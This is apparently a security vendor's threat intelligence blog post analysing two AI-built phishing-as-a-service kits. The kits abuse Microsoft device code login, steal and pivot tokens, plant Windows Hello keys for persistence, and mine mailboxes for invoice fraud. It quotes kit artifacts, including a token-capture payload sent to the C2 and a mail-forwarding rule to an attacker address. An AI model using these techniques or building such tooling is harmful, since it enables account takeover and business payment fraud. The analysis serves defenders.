Business email compromise (BEC) remains one of the most damaging threats we respond to, and the tooling behind it is getting more complex by the day. On a recent investigation, we came across multiple suspicious domains that piqued our interest. These led us to two phishing kits we had not encountered before.
Both look, at a glance, like legitimate SaaS products. Both were clearly built with AI, down to the comments and code structure. And both automate the full path from a stolen login to a forged invoice.
Neither kit relies on a new technique. Device code abuse, token theft, Windows Hello persistence: all of it is documented, some of it by Microsoft’s own threat intelligence team. What has changed is who can run it and how many victims one operator can run it against at once. A single dashboard now does the work that used to require a skilled attacker’s full attention, all with the help of AI.
Here is what we found, in sum:
This is the shift from one skilled attacker targeting one company to Phishing-as-a-Service, where the same capability is packaged, automated, and available to far less skilled operators.
The first kit calls itself TokenVault // 2026. However, due to its Lovable vibecoded feeling, we have named it TokenLover. At first, it looked like a token management service. Its footer proudly states it is “Built on TokenTacticsV2.” It has a pricing page, a feature comparison table, and a live support dashboard. It looks, at first glance, like a legitimate SaaS product. It is not.
The other phishing kit we found calls itself Yakhub/Yaksha. When visiting the domain linked to the kit, we were greeted by a login screen and nothing more. However, this kit also has a very vibecoded feeling to the UI (more about that later ;)). And we wanted to keep the running theme in there, so we have dubbed it YaksaLover.
TokenLover first came onto our radar during an incident response case. Investigating a device code phishing incident, we traced the IP behind the initial sign-in and ran it through Shodan, which pointed us to a domain hosted on that same IP. The domain served up a page dressed as a legitimate Azure token management service: pricing tiers, marketing copy, the works. Then we lifted the hood.
We identified YaksaLover in the exact same way as TokenLover. This phishing kit has a email client built in and is in some aspects more developed than TokenLover, but in some aspects very lacking. When visiting the URL of the kit, we encountered a login screen. But that login screen wouldn’t stop us from diving deeper, and diving deeper we did.
TokenLover is an operator console, the backend that an attacker uses to manage everything from setting up device code phishing campaigns and adding persistence to using AI to exfiltrate data. Think of it as a CRM for stolen Microsoft identities, with a campaign manager, an AI analyst, and a post-exploitation automation engine bolted on.
The operator panel supports multiple tiers of users: administrators who manage the platform, operators who run campaigns, and sub-operators (“subusers”) who are handed a scoped view of specific captured sessions. Subscription expiry, per-user feature flags, audit logging, and a duplicate-session security alert system are all present. This is professional tooling for a distributed team.
The entry point is device code authentication abuse. The attacker triggers a legitimate Microsoft OAuth device code request and delivers the resulting user_code to the victim, typically by embedding it in a convincing lure or injecting it into an ongoing conversation. The victim visits the real microsoft.com/devicelogin, enters the code, and completes MFA on the real Microsoft website. Just as we have seen in device code phishing so many times before.
TokenLover initiates this flow against three distinct client configurations:
That third variant is the one that matters most. The Broker client ID is not chosen arbitrarily, because it is the one that unlocks device registration in Entra ID, which, in turn, yields a Primary Refresh Token (PRT).
And a PRT is like gold for phishers: unlike the app-scoped access tokens the Office and Admin variants produce, it is a long-lived credential (valid for up to 90 days) tied to an attacker-registered device that Entra ID now trusts as a legitimate organisational asset, enabling silent single sign-on across Microsoft 365, survival of password resets and token revocation, and MFA-satisfied sessions the victim already completed on the attacker’s behalf.
It is the same client ID that Microsoft’s own Threat Intelligence team called out in their February 2025 Storm-2372 disclosure.
The moment a victim completes authentication, their user_code is automatically copied to the attacker’s clipboard and a polling loop starts against /api/v1/auth/device-code/poll.
Timing is everything here: device codes typically expire within about 15 minutes. The platform has to lure the victim and capture the resulting tokens inside that narrow window, hence the automation. When the poll returns success, the captured tokens land in the vault and the platform immediately runs the next step.
A single refresh token, when obtained via a FOCI-eligible client (FOCI, Family of Client IDs, is a group of first-party Microsoft apps that share refresh tokens that can be exchanged for access tokens scoped to any other Microsoft service in the same family). TokenLover calls /api/v1/auth/refresh/to-all to perform this exchange in bulk; Outlook, Graph API, Teams, SharePoint, OneDrive, and Azure Management simultaneously. All resulting tokens are stored and labelled by service.
This is not a novel technique. The TokenTacticsV2 module that the kit is built on has implemented FOCI pivoting since its earliest releases. What TokenLover adds is the operator UI and the automation that runs everything downstream without manual intervention.
This is where the platform goes further than most published research or publicly known kits.
Every time a new token arrives in the vault, autoInjectNewTokens fires. This function silently executes a two-step pipeline against the victim’s Entra ID account:
1. Calls /api/winhello/generate-key to generate a fresh RSA-2048 key pair
2. Calls /api/winhello/{id}/inject-full with the victim’s UPN and tenant ID to register a synthetic Windows Hello for Business NGC (Next-Generation Credential) key against their account
Once this key is registered, the platform can mint new Primary Refresh Tokens using the injected key instead of the password. So a password reset alone won’t evict the attacker. It isn’t foolproof, though: it depends on the earlier device registration step having succeeded and on the tenant allowing device registration. And it can still be cut off by revoking the device identity or the key, or by a full session/token revocation, just not by a password change on its own.
The Admin panel makes no attempt to hide what this is for. It displays a metric called “password change survival rate” on the NGC Protection dashboard. The attacker can see, across their entire victim pool, what percentage of compromised accounts will survive a password reset. Bulk NGC registration is a one-click operation.
This technique was documented by Dirk-jan Mollema in October 2023. Its presence here, automated and integrated into the default capture flow, means victims who change their password after a device code phishing incident may not be fully remediated.
PRT-equivalent tokens and NGC keys can be converted into browser-injectable JavaScript snippets, short console commands that, when pasted into DevTools on login.microsoftonline.com, plant ESTSAuthPersistent or ESTSAuth cookies and grant full browser access to the victim’s account without triggering MFA.
TokenLover offers five separate pathways for this conversion:
/api/prt/{id}/cookie, x-ms-RefreshTokenCredential cookie/api/prt/session/{id}/sso-cookie, SSO cookie (JS snippet)/api/v1/auth/token-to-ests, ESTS cookie (JS snippet)/api/winhello/{id}/generate-ests-cookies, ESTS persistent cookie/api/owa-bypass/convert-full, OWA-specific session cookieThe OWA bypass path is worth noting separately, it targets Outlook Web App’s legacy cookie authentication, specifically because some Conditional Access Policies that apply to OAuth flows do not apply to the OWA cookie path.
A fifth section of the operator panel, the so called “Exploit Dashboard”, is fully present in the HTML but suppressed from the UI via v-if="false". It is either hidden from lower-tier subscribers or deliberately disabled for this deployment. Its code is complete and functional.
The Exploit Dashboard runs a four-phase automated pipeline against captured sessions using GraphRunner:
The eight attack paths are hardcoded by name: Group PrivEsc, Dynamic Group abuse, Watering Hole, App Persistence, Guest + SharePoint access, Internal Phishing, Shared Mailbox access, and CAP Bypass. Each is a well-documented Azure AD post-exploitation technique. The platform runs them automatically and reports status per session.
TokenLover includes an AI analysis pipeline that processes harvested mailbox contents using either a locally hosted Ollama LLM or a Groq cloud API. This is not general-purpose email summarisation.
The structured output schema the AI is asked to produce includes: payment_scenarios, invoices, purchase_orders, quotes, contracts, internal_process_analysis, payment_approval_flow, partners_summary, and financial_summary, including total_outstanding_receivables, total_payables, and pipeline_value.
The goal is explicit: map the victim organisation’s financial operations in enough detail to redirect a payment. Once the AI analysis completes, the result is sent to the attacker’s configured Telegram channel.
The keyword watch system monitors for new incoming emails matching categories including payment_request, invoice, urgent_deadline, legal_issue, and escalation, alerting in real time.
This is the intelligence-gathering stage of a BEC attack, automated and scaled across every captured mailbox.
The campaign system turns captured sessions into outbound phishing infrastructure. Emails sent via TokenLover campaigns originate from the victim’s real Microsoft 365 mailbox, which means they pass SPF, pass DKIM, arrive from a known-good domain, and are indistinguishable from legitimate internal mail.
Two campaign modes are available:
#0078d4), select a captured session as sender, load recipients from the victim’s harvested contacts or a manual list, and send in configurable batches through the attacker’s proxy.
Both modes require a proxy to be configured. The kit enforces this client-side to prevent campaign traffic appearing from a single attributable IP.
The operator can deploy new phishing landing pages directly from the dashboard with a single click. From the “Landing Pages” section:
Landing pages are deployed as Cloudflare Workers with a single API call, using the operator’s stored Cloudflare API token and Account ID. The kit offers four template categories: Document Signing, Microsoft 365 Security alerts, SSO/Login pages, and Custom HTML. Multi-locale personalisation fields (sender name, urgency text, CTA button, organisation name) are supported per template.
Just like TokenLover, YaksaLover is an operator console and backend, a “CRM for stolen Microsoft identities” with the same tiered structure of administrators, operators, and scoped sub-operators, plus subscription tiers, feature flags, and audit trails. Where TokenLover mainly handles post-compromise management and phishing page hosting, Yaksa covers the entire campaign lifecycle, adding a multi-tenant setup, automatic VPS deployment, and a C2 server that orchestrates device-code authentication and token harvesting. It also ships 10 pre-built, customisable brand kits (Adobe, Microsoft 365, OneDrive, Teams, Zoom, Dropbox, SharePoint, RingCentral, DocuSign, eFax) so an operator can spin up a lure for any target in minutes.
An operator logs into the Yaksa Manager dashboard and gets greeted by a standard dashboard design:
Here you can immediately see that the operator can quickly identify new victims of their phishing kit. They can also add accounts themselves using the “add account” button.
From the dashboard, the operator goes to the tab design and selects one of 10 pre-built phishing templates:
Each template is a full ZIP file containing a device-code phishing page. The operator can customise it with:
The customised page is deployed to Vercel, a CDN, or hosted directly.
In this step, YaksaLover is not that different from TokenLover. The only difference is that YaksaLover by default initiates a device code request to OfficeHome.
The JavaScript sends the captured token to the C2 server with the operator’s UUID:
POST /api/yaksha/finalize
{
"user_id": "<operator-uuid>",
"email": "<victim-email>",
"device_code_response": {...}
}The C2 receives the token and immediately:
connected_mailboxes table (plaintext)/token?grant_type=refresh_token against Microsoft’s token endpoint to exchange the PRT for access tokens across all FOCI-linked servicesaccess_token, refresh_token, expires_at) in the databaseThe operator’s dashboard refreshes and immediately shows the new captured mailbox in their session list.
The captured mailbox is now available in the operator’s dashboard. The operator configures email forwarding rules via the same dashboard:
{
"mailbox": "victim@company.com",
"keywords": ["invoice", "wire", "payment", "urgent deadline", "PO"],
"recipients": ["attacker@attacker.com"],
"method": "clone", // or "direct"
"interval_minutes": 5
}The operator clicks “Deploy VPS” and the platform’s vps-setup edge function automatically performs the steps:
The worker immediately begins polling the victim’s mailbox every 5 minutes (configurable). When an email matches a keyword, it is forwarded to the attacker’s configured email address. The operator sees real-time forwarding logs in their dashboard.
The operator’s dashboard shows:
The dashboard also has an Admin section where the platform administrator can:
All communication between the dashboard and the backend uses Supabase JWT tokens. The backend enforces role-based access control (RLS) so operators can only see their own data. Sub-operators (tier “shared”) see only a subset of captured sessions.
Unlike TokenLover, YaksaLover has no AI integrated in its functionality. But when looking at the source code of the kit, we noticed a lot of comments, A LOT. You would think as a phishing operator/phishing kit maker, you would want to obfuscate your code. So that when defenders get their hands on your code, it would be hard for them to figure out what is going on.
/**
* For managed mailboxes, exchange the refresh token for an Outlook access token
* (which has Mail.ReadWrite.Shared — required for accessing another user's mailbox).
* The job.config must include `accountType: "managed"`.
* Returns { accessToken, refreshToken } or null if not managed.
*/
async function resolveManagedTokens(job) {
if (job.config.accountType !== 'managed') return null;
const refreshToken = job.config.refreshToken;
if (!refreshToken) {
console.warn('[sync] Managed mailbox: no refresh token in job config');
return null;
}But as you can see in this snippet of this one function, there is a comment left behind almost bigger than the function itself. Including the classic “—” AI dash, comments left everywhere in the code and the AI dash, a tell-tale sign of AI usage. We noticed the same with TokenLover, lots of vibe-coded parts. This shows how AI is used by attackers to make new phishing kits faster and more advanced than their older counterparts.
TokenLover and YaksaLover are two markers of the same trajectory: the commoditisation and industrialisation of Microsoft identity attacks. The individual techniques they rely on device-code flow abuse, FOCI pivoting, PRT theft, Windows Hello (NGC) persistence, ESTS cookie generation, CAP bypass, and real-time email forwarding, are all documented in public research.
What these kits add is not novel tradecraft but operational scale: automation, polish, and multi-tenant dashboards that let a single operator spin up campaigns, manage dozens of captured mailboxes simultaneously, configure forwarding rules, extract financial intelligence with AI, and run internal spear-phishing from the victim’s own inbox. This is the shift from one attacker targeting one company to Phishing-as-a-Service.
Both kits are built on the same open-source frameworks and cloud infrastructure; red-team tooling, Vite, React, Supabase, Vercel, AWS. Something legitimate that security teams and developers use every day.
Detecting and blocking it
The techniques involved were specifically selected because they evade most conventional defences. The login is real, the domain is real, the MFA is real, and the cookies are legitimate. Defence in depth is not a cliché here; it is the only realistic posture.
Read our other blog “Device Code Phishing Forensics: What We Learned Investigating BEC in the Wild” to learn more on how to block it 🙂
Eye Security’s MDR platform monitors for device code phishing indicators and Entra ID anomalies including Auth Broker client abuse, Device Registration Service sign-ins, and NGC key registration events. If you suspect your organisation has been targeted, contact our incident response team.
